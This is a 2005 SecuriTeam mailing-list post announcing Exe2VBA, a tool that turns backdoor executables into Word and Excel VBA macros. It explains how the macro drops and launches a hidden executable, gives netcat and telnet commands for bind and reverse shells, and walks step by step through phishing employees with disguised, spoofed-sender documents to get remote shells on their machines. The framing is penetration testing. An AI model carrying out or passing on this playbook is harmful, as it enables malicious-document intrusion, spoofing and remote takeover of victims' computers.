[TOOL] Exe2VBA - Tool for Converting Backdoors to VBA Macros

From: SecuriTeam (support_at_securiteam.com)
Date: 05/19/05

  • Next message: SecuriTeam: "[TOOL] CacheDump - Recovering Windows Password Cache Entries" 
    To: list@securiteam.com
Date: 19 May 2005 16:30:06 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Exe2VBA - Tool for Converting Backdoors to VBA Macros
    ------------------------------------------------------------------------

    SUMMARY

    DETAILS

    Why macros are a big security threat?
    The answer is easy. Many companies use VBA macros for their daily work.
    You can do nearly everything within a macro. This includes:
     * Writing and manipulation of Binary and Textfiles.
     * You can use the whole Windows-API within macros
     * You can launch shell interpreter (cmd.exe)
     * Much more...

    Penetration testers often overlook this thread. If only one user in a
    company use macros and open your faked document, you have got a remote
    commando execution flaw.

    How to compile vbatoexe?
    I compiled it with the free lcc compiler. Download it from
    <http://www.cs.virginia.edu/~lcc-win32/>
    http://www.cs.virginia.edu/~lcc-win32/ I simply type (cmd.exe):
    lc vbatoexe.c

    How to compile backdoors?
    Backdoors should be very small. First compile your file with:
    lc NameOfYourBackdoor.c

    Now strip the objectfile by running:
    lcclnk -s NameOfYourBackdoor.obj

    The result is a small NameOfYourBackdoor.exe file.

    How the example macros works?
    The examples use a very simple technique. Change to a writable home
    directory (%userprofile% environment). Open Binary file whlp32.exe and
    write raw binary data (our backdoor) to file. Finally launch the file
    (backdoor). Source Code is well documented (exetovba.c). Change it to your
    needs.

    How can I test the examples?
    Enable Macro within Word or Excel. Change to examples folder.
    portbind.doc/xls: Double click on it. Open shell (cmd.exe) and type
    "telnet 127.0.0.1 12345". Now you should see a shell.
    reverse.doc/xls: Download and install netcat (nc.exe). Open shell and type
    "nc -l -p 12345". Double click on Word or Excel file. Now you should get a
    shell (Reverse connect).

    How to use this package for penetration testers?
    Copy portbind.doc/xls to your directory. Rename it (bill.doc,
    calculation.xls, ...). Create a small table within Excel or Word with
    faked data. Send mail with spoofed From field (use a name of an employee
    in your company). Now make a portscan of your local network. If you see
    port 12345 open, you can connect to this port with telnet (telnet RemoteIP
    12345) and you have got a remote shell to your victim.

    Where can I find good backdoors?
    Shellcodes are very good backdoors. They are small and you can gain remote
    shell, download file, .... The best way to create platform independent
    shellcodes is at <http://www.metasploit.com> Metasploit. This site
    contains a very powerful shellcode generation tool.

    How to create my own macro VBA backdoors?
    Portbind and Reverse are only examples of backdoors. If you want to break
    into a computer you often need specially crafted backdoors. Do the
    following to create your own macro backdoors. Compile and Strip your
    backdoor to reduce size. Then launch:
    vbatoexe.exe [1/2] YourBackdoor.exe > backdoor.txt
    Use 1 for Word- and 2 for Excel source code.

    Open a new document. Create a new macro with any name. Edit macro and
    delete everything. Open backdoor.txt and copy all the text to your macro.
    Save file. If you open your new file, your backdoor will be launched. Now
    connect to your backdoor. If everything works fine, you can send it to
    your victim. You can use httptunnel to forward your victims network to
    your computer for example. Reverse connect often works if you can connect
    to the Internet without a proxy. Portbind backdoor is good in a local
    network. There are many possibilities. Be creative.

    Additions:
    The best Office programs to launch macro based attacks are MS-Word and
    MS-Excel. It's also possible with other Office progarms, but macros
    normally used within MS-Word ans MS-Excel.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:priest@priestmaster.org>
    priestmaster.
    To keep updated with the tool visit the project's homepage at:
    <http://www.priestmaster.org/tools.html>
    http://www.priestmaster.org/tools.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] CacheDump - Recovering Windows Password Cache Entries"